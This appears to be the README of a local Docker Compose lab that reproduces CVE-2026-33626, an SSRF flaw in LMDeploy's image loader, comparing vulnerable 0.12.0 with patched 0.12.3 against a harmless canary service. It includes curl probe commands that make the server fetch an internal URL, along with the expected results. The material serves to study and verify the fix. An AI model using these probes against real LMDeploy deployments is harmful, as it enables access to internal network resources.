
Docker Compose lab reproducing CVE-2026-33626 SSRF in LMDeploy's vision-language image loader. Compares vulnerable (0.12.0) and patched (0.12.3) behavior with a PoC script and internal canary service.
This repository reproduces CVE-2026-33626, a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language image loading path.
The vulnerable behavior occurs when LMDeploy receives an image URL and the server-side image loader fetches that URL without properly blocking internal, private, loopback, or link-local addresses.
This lab compares:
| Service | Version | Purpose |
|---|
vuln | LMDeploy 0.12.0 | Demonstrates the vulnerable behavior |
patched | LMDeploy 0.12.3 | Demonstrates the patched behavior |
internal | Local canary service | Simulates an internal-only resource inside the Docker network |
The lab is designed to run locally with Docker Compose and does not contact cloud metadata endpoints or external targets.
LMDeploy supports vision-language workflows where an image may be loaded from a user-supplied URL. In vulnerable versions, the image loading code can fetch URLs that resolve to internal/private network addresses.
This can allow an attacker with access to the LMDeploy endpoint to make the server request internal resources, such as:
In this lab, the internal target is intentionally harmless:
http://internal:9000/private.png
The URL only exists inside the Docker Compose network.
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
The lab does not run a full VLM inference server. Instead, it isolates the vulnerable LMDeploy image-loading primitive by calling:
from lmdeploy.vl import load_image
load_image(url)
This keeps the reproduction lightweight and deterministic while still demonstrating the security behavior that was patched.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
| Service | Host URL | Container Port | Description |
|---|---|---|---|
vuln | http://127.0.0.1:8081 | 8000 | LMDeploy 0.12.0 wrapper |
patched | http://127.0.0.1:8082 | 8000 | LMDeploy 0.12.3 wrapper |
internal | http://127.0.0.1:8090 | 9000 | Internal canary service |
Inside the Docker network, the internal canary is reachable as:
http://internal:9000/private.png
On Apple Silicon, the vuln and patched services run as linux/amd64 because the LMDeploy wheel used in this lab is x86_64-oriented.
Build and start the services:
docker compose up -d --build
Check container status:
docker compose ps
Expected status:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Expected output:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Create a virtual environment and install dependencies:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Run the PoC:
python poc/poc.py
The default SSRF target is:
http://internal:9000/private.png
This target is reachable from the Docker containers, not from the public internet.
The vulnerable service should fetch the internal canary image successfully:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
This confirms that LMDeploy 0.12.0 made a server-side request to the internal Docker service.
The patched service should block the same URL before the internal service is reached:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
This confirms that LMDeploy 0.12.3 blocks URLs resolving to non-global/internal IP addresses.
Final expected summary:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
Reset the internal canary:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Test vulnerable service:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Expected: /hits contains one request.
Test patched service:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Expected: /hits remains empty.
The PoC does not request the internal service directly as the attacker.
Instead, the PoC sends an internal URL to LMDeploy. If LMDeploy fetches that URL from inside the container network, the internal canary records the request.
That behavior proves the SSRF primitive:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
The patched version prevents this by rejecting URLs that resolve to non-global IP addresses.
docker compose down -v
GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Patch Commit: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Sysdig Analysis https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours